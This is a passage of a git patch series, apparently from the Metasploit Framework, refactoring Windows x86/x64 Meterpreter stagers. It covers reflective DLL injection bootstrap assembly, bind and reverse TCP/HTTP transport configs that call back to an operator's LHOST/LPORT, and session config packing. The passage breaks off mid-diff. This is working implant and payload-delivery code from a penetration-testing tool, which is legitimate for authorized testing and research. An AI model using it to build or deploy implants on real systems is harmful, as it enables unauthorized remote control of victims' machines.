'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' ### # @@ -31,19 +32,24 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x86_Win)) end - def stage_payload - stage_meterpreter + generate_config + def stage_payload(uuid=nil) + stage_meterpreter + generate_config(uuid) end - def generate_config + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + # create the configuration block, which for staged connections is really simple. config_opts = { + :arch => opts[:uuid].arch, :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }), - :transports => [ generate_transport_config ], + :uuid => opts[:uuid], + :transports => [ generate_transport_config(opts) ], :extensions => [] } From 6da8a14f620f315b1aff56046d95740a9e202dc2 Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 26 Apr 2015 13:41:31 +1000 Subject: [PATCH 06/42] Initial work on x64 payloads for new config --- .../payload/windows/meterpreter_loader.rb | 4 +- .../payload/windows/reflectivedllinject.rb | 1 - .../payload/windows/x64/meterpreter_loader.rb | 95 +++++++++++++++++++ .../windows/x64/reflectivedllinject.rb | 76 ++++++++------- .../core/payload/windows/x64/reverse_tcp.rb | 11 +++ lib/rex/payloads/meterpreter/config.rb | 8 +- .../payloads/stages/windows/meterpreter.rb | 15 +-- .../stages/windows/x64/meterpreter.rb | 43 +++++++-- 8 files changed, 196 insertions(+), 57 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/meterpreter_loader.rb diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index a5d5cd1c6e..ff61929f7b 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -8,7 +8,7 @@ module Msf ### # -# Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection. +# Common module stub for ARCH_X86 payloads that make use of Meterpreter. # ### @@ -22,7 +22,7 @@ module Payload::Windows::MeterpreterLoader super(update_info(info, 'Name' => 'Meterpreter & Configuration RDI', 'Description' => 'Inject Meterpreter & the configuration stub via RDI', - 'Author' => [ 'sf' ], + 'Author' => [ 'sf', 'OJ Reeves' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index ae7b5bb429..c0146ace04 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -76,7 +76,6 @@ module Payload::Windows::ReflectiveDllInject asm_opts = { :rdi_offset => offset, - :length => dll.length, :exitfunk => 'thread' # default to 'thread' for migration } diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb new file mode 100644 index 0000000000..3be7778ec0 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/reflective_dll_loader' + +module Msf + + +### +# +# Common module stub for ARCH_X86_64 payloads that make use of Meterpreter. +# +### + + +module Payload::Windows::MeterpreterLoader_x64 + + include Msf::ReflectiveDLLLoader + include Msf::Payload::Windows + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Reflective DLL Injection', + 'Description' => 'Inject a DLL via a reflective loader', + 'Author' => [ 'sf', 'OJ Reeves' ], + 'References' => [ + [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original + [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'PayloadCompat' => { 'Convention' => 'sockrdi' }, + 'Stage' => { 'Payload' => "" } + )) + end + + def asm_invoke_dll(opts={}) + asm = %Q^ + ; prologue + db 0x4d, 0x5a ; 'MZ' = "pop r10" + push r10 ; back to where we started + push rbp ; save rbp + mov rbp, rsp ; set up a new stack frame + sub rsp, 32 ; allocate some space for calls. + ; GetPC + call $+5 ; relative call to get location + pop rbx ; pop return value + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() + add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} + call rbx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config) + ; offset from ReflectiveLoader() to the end of the DLL + add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + mov [rbx], rdi ; store the comms socket handle + mov [rbx+8], rsi ; store the listen socket handle + mov r8, rbx ; r8 points to the extension list + mov rbx, rax ; save DllMain for another call + push 4 ; push up 4, indicate that we have attached + pop rdx ; pop 4 into rdx + call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config) + ^ + end + + def stage_meterpreter + # Exceptions will be thrown by the mixin if there are issues. + dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll')) + + asm_opts = { + :rdi_offset => offset, + :length => dll.length + } + + asm = asm_invoke_dll(asm_opts) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + + # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry + if( bootstrap.length > 62 ) + print_error( "Meterpreter loader (x64) generated an oversized bootstrap!" ) + return + end + + # patch the bootstrap code into the dll's DOS header... + dll[ 0, bootstrap.length ] = bootstrap + + return dll + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index f8683511b1..44dd5ec575 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -30,10 +30,7 @@ module Payload::Windows::ReflectiveDllInject_x64 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'PayloadCompat' => { 'Convention' => 'sockrdi' }, - 'Stage' => { - 'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] }, - 'Payload' => "" - } + 'Stage' => { 'Payload' => "" } )) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class ) @@ -43,30 +40,50 @@ module Payload::Windows::ReflectiveDllInject_x64 datastore['DLL'] end + def asm_invoke_dll(opts={}) + asm = %Q^ + ; prologue + db 0x4d, 0x5a ; 'MZ' = "pop r10" + push r10 ; back to where we started + push rbp ; save rbp + mov rbp, rsp ; set up a new stack frame + sub rsp, 32 ; allocate some space for calls. + ; GetPC + call $+5 ; relative call to get location + pop rbx ; pop return value + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() + add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} + call rbx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; offset from ReflectiveLoader() to the end of the DLL + mov r8, rdi ; r8 contains the socket + mov rbx, rax ; save DllMain for another call + push 4 ; push up 4, indicate that we have attached + pop rdx ; pop 4 into rdx + call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; push 5, indicate that we have detached + pop rdx ; pop 5 into rdx + call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + end + def stage_payload # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) - exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration + asm_opts = { + :rdi_offset => offset, + :exitfunk => 'thread' # default to 'thread' for migration + } - bootstrap = "\x4D\x5A" + # pop r10 ; pop r10 = 'MZ' - "\x41\x52" + # push r10 ; push r10 back - "\x55" + # push rbp ; save ebp - "\x48\x89\xE5" + # mov rbp, rsp ; setup fresh stack frame - "\x48\x81\xEC\x20\x00\x00\x00" + # sub rsp, 32 ; alloc some space for calls - "\x48\x8D\x1D\xEA\xFF\xFF\xFF" + # lea rbx, [rel+0] ; get virtual address for the start of this stub - "\x48\x81\xC3" + [offset].pack( "V" ) + # add rbx, 0x???????? ; add offset to ReflectiveLoader - "\xFF\xD3" + # call rbx ; call ReflectiveLoader() - "\x48\x89\xC3" + # mov rbx, rax ; save DllMain for second call - "\x49\x89\xF8" + # mov r8, rdi ; R8 = our socket - "\x68\x04\x00\x00\x00" + # push 4 ; - "\x5A" + # pop rdx ; RDX = signal we have attached - "\xFF\xD0" + # call rax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) - "\x41\xB8" + exit_funk + # mov r8d, 0x???????? ; our EXITFUNC placeholder - "\x68\x05\x00\x00\x00" + # push 5 ; - "\x5A" + # pop rdx ; signal we have detached - "\xFF\xD3" # call rbx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) - # the DOS headers e_lfanew entry will begin here at offset 64. + asm = asm_invoke_dll(asm_opts) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if( bootstrap.length > 62 ) @@ -74,21 +91,10 @@ module Payload::Windows::ReflectiveDllInject_x64 return end - # patch in the timeout options - timeout_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - } - - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) - # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - # return our stage to be loaded by the intermediate stager - return dll + dll end end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 0f490cab93..05158982c9 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -66,6 +66,17 @@ module Payload::Windows::ReverseTcp_x64 Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end + def generate_transport_config(opts={}) + { + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Determine the maximum amount of space required for the features requested # diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index faf8f09b99..b99cf12cba 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core/payload/uuid' +require 'msf/core/payload/windows' require 'msf/core/reflective_dll_loader' require 'rex/parser/x509_certificate' @@ -35,18 +36,20 @@ private def session_block(opts) uuid = to_wchar_t(opts[:uuid], UUID_SIZE) + exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] session_data = [ 0, # comms socket, patched in by the stager 0, # listen socket, patched in by the stager + exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the URL to use ] if is_x86? - session_data.pack("VVVA*") + session_data.pack("VVVVA*") else - session_data.pack("QQVA*") + session_data.pack("QQVVA*") end end @@ -102,6 +105,7 @@ private end def config_block + # start with the session information config = session_block(@opts) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index af9a63b749..85ac3c1da8 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -32,8 +32,8 @@ module Metasploit4 'Session' => Msf::Sessions::Meterpreter_x86_Win)) end - def stage_payload(uuid=nil) - stage_meterpreter + generate_config(uuid) + def stage_payload(opts={}) + stage_meterpreter + generate_config(opts) end def generate_config(opts={}) @@ -46,11 +46,12 @@ module Metasploit4 # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [ generate_transport_config(opts) ], - :extensions => [] + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [ generate_transport_config(opts) ], + :extensions => [] } # create the configuration instance based off the parameters diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 5cbf5d4343..0380b3b461 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -5,37 +5,60 @@ require 'msf/core' -require 'msf/core/payload/windows/x64/reflectivedllinject' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' ### # # Injects the x64 meterpreter server DLL via the Reflective Dll Injection payload +# along with transport related configuration. # ### -module Metasploit3 +module Metasploit4 - include Msf::Payload::Windows::ReflectiveDllInject_x64 + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Meterpreter (Reflective Injection x64)', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)', - 'Author' => [ 'sf' ], + 'Author' => ['skape','sf', 'OJ Reeves'], 'PayloadCompat' => { 'Convention' => 'sockrdi', }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x64_Win)) - - # Don't let people set the library name option - options.remove_option('LibraryName') - options.remove_option('DLL') end - def library_path - MeterpreterBinaries.path('metsrv','x64.dll') + def stage_payload(opts={}) + stage_meterpreter + generate_config(opts) + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block, which for staged connections is really simple. + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [ generate_transport_config(opts) ], + :extensions => [] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end From 0d2f97ed2d3e607d694383b797d99446f2895826 Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 26 Apr 2015 14:19:36 +1000 Subject: [PATCH 07/42] Add support for config in the x64 bind stager --- lib/msf/core/payload/windows/x64/bind_tcp.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index e231d4f6e9..db02fddd3e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -44,6 +44,16 @@ module Payload::Windows::BindTcp_x64 generate_bind_tcp(conf) end + def generate_transport_config(opts={}) + { + :scheme => 'tcp', + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + # # Generate and compile the stager # @@ -162,6 +172,7 @@ module Payload::Windows::BindTcp_x64 ^ else asm << %Q^ + mov r14, rdi ; stash the listen socket for later. mov rdi, rax ; swap the new connected socket over the listening socket ^ end @@ -205,6 +216,15 @@ module Payload::Windows::BindTcp_x64 sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read + ^ + + unless close_socket + asm << %Q^ + mov rsi, r14 ; restore the listen socket + ^ + end + + asm << %Q^ jmp r15 ; return into the second stage ^ From f3e547ca92d6440cabc2c0d59fedca6b9a470a20 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 07:43:26 +1000 Subject: [PATCH 08/42] Remvoe the exitfunk from the loader Meterpreter handles the exitfunk internally as part of the config now --- lib/msf/core/payload/windows/meterpreter_loader.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index ff61929f7b..1716edcb3a 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -59,12 +59,6 @@ module Payload::Windows::MeterpreterLoader push eax ; push some arbitrary value for hInstance mov ebx, eax ; save DllMain for another call call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) - ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) - ; push the exitfunk value onto the stack - push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} - push 5 ; indicate that we have detached - push eax ; push some arbitrary value for hInstance - call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) ^ end @@ -74,8 +68,7 @@ module Payload::Windows::MeterpreterLoader asm_opts = { :rdi_offset => offset, - :length => dll.length, - :exitfunk => 'thread' # default to 'thread' for migration + :length => dll.length } asm = asm_invoke_dll(asm_opts) @@ -92,7 +85,7 @@ module Payload::Windows::MeterpreterLoader # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - return dll + dll end end From 1ca5188c5e7588f66a87abdc2124cc89ac3740dc Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 07:44:21 +1000 Subject: [PATCH 09/42] Change the payload to use IPv6 formats if required --- lib/rex/payloads/meterpreter/config.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index b99cf12cba..315320f4cb 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -56,7 +56,12 @@ private def transport_block(opts) # Build the URL from the given parameters, and pad it out to the # correct size - url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}" + lhost = opts[:lhost] + if lhost && Rex::Socket.is_ipv6?(lhost) + lhost = "[#{lhost}]" + end + + url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" url << "#{opts[:uri]}/" if opts[:uri] url = to_wchar_t(url, URL_SIZE) From c41f4bd59fe84e567e22802f31c6a576c5300b03 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 09:44:48 +1000 Subject: [PATCH 10/42] Fix up http/s a little Correctly check the URL against the non-widechar version. Get the SSL verification stuff working again. --- .../core/payload/windows/reverse_winhttp.rb | 20 ++++++++++++++++ .../core/payload/windows/reverse_winhttps.rb | 23 +++++-------------- lib/rex/payloads/meterpreter/config.rb | 17 +++++--------- 3 files changed, 32 insertions(+), 28 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 3e702291ab..79f70e5c79 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -52,6 +52,26 @@ module Payload::Windows::ReverseWinHttp generate_reverse_winhttp(conf) end + def generate_transport_config(opts={}) + # most cases we'll haev a URI already, but in case we don't + # we should ask for a connect to happen given that this is + # going up as part of the stage. + uri = opts[:uri] + unless uri + sum = uri_checksum_lookup(:connect) + uri = generate_uri_uuid(sum, opts[:uuid]) + end + + { + :scheme => 'http', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :uri => uri, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end # # Generate and compile the stager # diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 63bfe575d3..c1e75bc25e 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -84,24 +84,13 @@ module Payload::Windows::ReverseWinHttps end def generate_transport_config(opts={}) - # most cases we'll haev a URI already, but in case we don't - # we should ask for a connect to happen given that this is - # going up as part of the stage. - uri = opts[:uri] - unless uri - sum = uri_checksum_lookup(:connect) - uri = generate_uri_uuid(sum, opts[:uuid]) - end + config = super - { - :scheme => 'https', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :uri => uri, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + config[:scheme] = 'https' + config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + config end # diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 315320f4cb..5c48cd2fe0 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -63,16 +63,15 @@ private url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" url << "#{opts[:uri]}/" if opts[:uri] - url = to_wchar_t(url, URL_SIZE) # if the transport URI is for a HTTP payload we need to add a stack # of other stuff pack = 'VVVA*' transport_data = [ - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait], # retry wait time - url # transport URL + opts[:comm_timeout], # communications timeout + opts[:retry_total], # retry total time + opts[:retry_wait], # retry wait time + to_wchar_t(url, URL_SIZE) # transport URL ] if url.start_with?('http') @@ -82,9 +81,7 @@ private ua = to_wchar_t(opts[:ua] || '', UA_SIZE) cert_hash = "\x00" * CERT_HASH_SIZE - if opts[:cert_file] - cert_hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert_file]) - end + cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] # add the HTTP specific stuff transport_data << proxy_host # Proxy host name @@ -124,9 +121,7 @@ private # configure the extensions file_extension = 'x86.dll' - unless is_x86? - file_extension = 'x64.dll' - end + file_extension = 'x64.dll' unless is_x86? (@opts[:extensions] || []).each do |e| config << extension_block(e, file_extension) From d82bfb0692fb99e2a7a1f3ad581f2fff8375f741 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 13:02:31 +1000 Subject: [PATCH 11/42] Reorder params, fix up the transport termination --- lib/rex/payloads/meterpreter/config.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 5c48cd2fe0..0ada7fd258 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -66,12 +66,12 @@ private # if the transport URI is for a HTTP payload we need to add a stack # of other stuff - pack = 'VVVA*' + pack = 'A*VVV' transport_data = [ + to_wchar_t(url, URL_SIZE), # transport URL opts[:comm_timeout], # communications timeout opts[:retry_total], # retry total time - opts[:retry_wait], # retry wait time - to_wchar_t(url, URL_SIZE) # transport URL + opts[:retry_wait] # retry wait time ] if url.start_with?('http') @@ -116,10 +116,11 @@ private config << transport_block(t) end - # terminate the transports with a single NULL byte - config << "\x00" + # terminate the transports with NULL (wchar) + config << "\x00\x00" - # configure the extensions + # configure the extensions - this will have to change when posix comes + # into play. file_extension = 'x86.dll' file_extension = 'x64.dll' unless is_x86? From fca4d852a1ad8bfe6a05ad12a68cdbb656cce08d Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 13:51:48 +1000 Subject: [PATCH 12/42] Remove the passing on off listen socket values --- lib/msf/base/sessions/meterpreter_options.rb | 1 - lib/msf/core/payload/linux/bind_tcp.rb | 43 +++-------------- lib/msf/core/payload/windows/bind_tcp.rb | 46 ++++--------------- .../payload/windows/meterpreter_loader.rb | 1 - lib/msf/core/payload/windows/x64/bind_tcp.rb | 37 +++------------ .../payload/windows/x64/meterpreter_loader.rb | 5 +- lib/rex/payloads/meterpreter/config.rb | 7 +-- 7 files changed, 24 insertions(+), 116 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index a14cb8dc74..3344570782 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -17,7 +17,6 @@ module MeterpreterOptions OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]), OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]), - OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]), OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]), OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]), OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]), diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 2d4f21ae1f..8829dfc968 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -16,10 +16,6 @@ module Payload::Linux::BindTcp include Msf::Payload::Linux - def close_listen_socket - datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true - end - # # Generate the first stage # @@ -27,16 +23,14 @@ module Payload::Linux::BindTcp # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp( - port: datastore['LPORT'], - close_socket: close_listen_socket - ) + return generate_bind_tcp({ + :port => datastore['LPORT'] + }) end conf = { - port: datastore['LPORT'], - close_socket: close_listen_socket, - reliable: true + :port => datastore['LPORT'], + :reliable => true } generate_bind_tcp(conf) @@ -60,10 +54,6 @@ module Payload::Linux::BindTcp # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 - # Adding 6 bytes to the payload when we include the closing of the listen - # socket - space += 6 if close_listen_socket - # The final estimated size space end @@ -77,7 +67,6 @@ module Payload::Linux::BindTcp def asm_bind_tcp(opts={}) #reliable = opts[:reliable] - close_socket = opts[:close_socket] encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first asm = %Q^ @@ -99,10 +88,9 @@ module Payload::Linux::BindTcp mov ecx,esp mov al,0x66 ; socketcall syscall int 0x80 ; invoke socketcall (SYS_SOCKET) - ^ - unless close_socket - asm << %Q^ + ; TODO: verify that this is wanted (I think it should be), + ; TODO: and look to optimise this a little. ; set the SO_REUSEADDR flag on the socket push ecx push 4 @@ -119,10 +107,7 @@ module Payload::Linux::BindTcp int 0x80 xchg eax,edi ; restore the socket handle add esp, 0x14 - ^ - end - asm << %Q^ pop ebx pop esi push edx @@ -137,15 +122,8 @@ module Payload::Linux::BindTcp shl ebx,1 ; SYS_LISTEN mov al,0x66 ; socketcall syscall (SYS_LISTEN) int 0x80 ; invoke socketcall - ^ - if close_socket - asm << %Q^ push eax ; stash the listen socket - ^ - end - - asm << %Q^ inc ebx ; SYS_ACCEPT mov al,0x66 ; socketcall syscall mov [ecx+0x4],edx @@ -155,16 +133,9 @@ module Payload::Linux::BindTcp mov al,0x3 ; read syscall int 0x80 ; invoke read xchg ebx,edi ; stash the accept socket in edi - ^ - if close_socket - asm << %Q^ pop ebx ; restore the listen socket mov al,0x6 ; close syscall int 0x80 ; invoke close - ^ - end - - asm << %Q^ jmp ecx ; jump to the payload ^ diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index d95ca4d3ae..f24fb09918 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -31,17 +31,15 @@ module Payload::Windows::BindTcp # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp( - port: datastore['LPORT'].to_i, - close_socket: close_listen_socket - ) + return generate_bind_tcp({ + :port => datastore['LPORT'].to_i + }) end conf = { - port: datastore['LPORT'].to_i, - exitfunk: datastore['EXITFUNC'], - close_socket: close_listen_socket, - reliable: true + :port => datastore['LPORT'].to_i, + :exitfunk => datastore['EXITFUNC'], + :reliable => true } generate_bind_tcp(conf) @@ -107,7 +105,6 @@ module Payload::Windows::BindTcp def asm_bind_tcp(opts={}) reliable = opts[:reliable] - close_socket = opts[:close_socket] encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first asm = %Q^ @@ -180,13 +177,9 @@ module Payload::Windows::BindTcp push edi ; push the listening socket, either to close, or to pass on xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); ^ - if close_socket - asm << %Q^ - push 